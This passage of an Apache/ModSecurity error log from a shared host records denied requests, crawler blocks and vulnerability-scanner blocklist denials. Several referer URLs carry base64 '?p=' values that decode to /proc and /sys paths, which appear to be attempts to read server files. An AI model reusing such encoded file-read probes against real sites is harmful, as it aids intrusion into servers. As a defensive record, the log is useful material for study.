https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:13:59.433500 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:13:59.692872 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.78:21050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:59.693298 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.78:21050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:59.775335 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.242.16:54246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:13:59.775791 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.242.16:54246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:13:59.819890 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.40:64354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:59.820196 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.40:64354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:59.954119 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:13:59.954556 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:13:59.973157 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.89:59148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:59.973443 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.89:59148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:00.179617 2026] [security2:error] [pid 531155:tid 531322] [client 114.119.159.254:20457] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.mandm-maintenance.com"] [uri "/file/20170724125417jpg"] [unique_id "ai3ySCmiP80klyS0NnoZOQAAAS8"], referer: https://www.mandm-maintenance.com/file/20170724125417jpg [Sat Jun 13 18:14:00.447223 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.41:32855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:00.447483 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.41:32855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:00.459853 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.29:28033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:00.460166 2026] [access_compat:error] [pid 531155:tid 531253] [remote 57.141.14.29:28033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:00.596744 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:00.597072 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:00.661387 2026] [security2:error] [pid 531155:tid 531348] [client 114.119.135.30:61295] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.nj-ccc.org"] [uri "/weekly/archive/20221127/"] [unique_id "ai3ySCmiP80klyS0NnoZUgAAAUk"], referer: https://www.nj-ccc.org/weekly/ArchivePage/ [Sat Jun 13 18:14:00.743542 2026] [security2:error] [pid 531155:tid 531307] [client 114.119.154.9:26461] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "nelsonfarmstn.com"] [uri "/product/terry-bath-pouf"] [unique_id "ai3ySCmiP80klyS0NnoZVwAAASA"], referer: https://nelsonfarmstn.com/product/terry-bath-pouf?page&product=terry-bath-pouf&post_type=product&name=terry-bath-pouf&add_to_wishlist=389 [Sat Jun 13 18:14:00.992390 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:14:00.992762 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:14:01.401529 2026] [security2:error] [pid 531155:tid 531411] [client 103.59.44.113:55442] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "paulmerceronline.com"] [uri "/wp-comments-post.php"] [unique_id "ai3ySSmiP80klyS0NnoZcAAAAYg"] [Sat Jun 13 18:14:01.439389 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.27:27168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:01.439939 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.27:27168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:01.514852 2026] [security2:error] [pid 531155:tid 531209] [remote 17.241.75.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySSmiP80klyS0NnoZigABVDU"] [Sat Jun 13 18:14:01.525385 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2s= [Sat Jun 13 18:14:01.525857 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2s= [Sat Jun 13 18:14:01.645548 2026] [security2:error] [pid 531155:tid 531177] [remote 17.246.15.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySSmiP80klyS0NnoZkgABIhU"] [Sat Jun 13 18:14:01.668964 2026] [security2:error] [pid 531155:tid 531411] [client 103.59.44.113:55442] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "403"] [hostname "paulmerceronline.com"] [uri "/wp-comments-post.php"] [unique_id "ai3ySSmiP80klyS0NnoZcAAAAYg"] [Sat Jun 13 18:14:01.816256 2026] [security2:error] [pid 531155:tid 531291] [client 114.119.159.129:33813] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "jnbfashion.com"] [uri "/as-i-iymitm/minwax-polyurethane-spray-f63aa7"] [unique_id "ai3ySSmiP80klyS0NnoZnwAAARA"], referer: https://jnbfashion.com/as-i-iymitm/psalm-59-meaning-f63aa7 [Sat Jun 13 18:14:01.957791 2026] [security2:error] [pid 531155:tid 531250] [remote 17.241.227.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySSmiP80klyS0NnoZqAABJF4"] [Sat Jun 13 18:14:02.016743 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.31:58824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:02.017015 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.31:58824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:02.107175 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:02.107633 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:14:02.192697 2026] [security2:error] [pid 531155:tid 531382] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetch_overview_variation2.phpt"] [unique_id "ai3ySimiP80klyS0NnoZtgAAAWs"] [Sat Jun 13 18:14:02.193767 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.62:37448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:02.194160 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.62:37448] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:02.341068 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.12:53530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:02.341346 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.12:53530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:02.493095 2026] [security2:error] [pid 531155:tid 531242] [remote 17.241.227.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySimiP80klyS0NnoZygABaVY"] [Sat Jun 13 18:14:02.653900 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:14:02.654340 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:14:02.664517 2026] [access_compat:error] [pid 531155:tid 531211] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:02.664806 2026] [access_compat:error] [pid 531155:tid 531211] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:02.726162 2026] [autoindex:error] [pid 531155:tid 531294] [client 143.244.57.82:53368] AH01276: Cannot serve directory /home4/xgejaimy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and 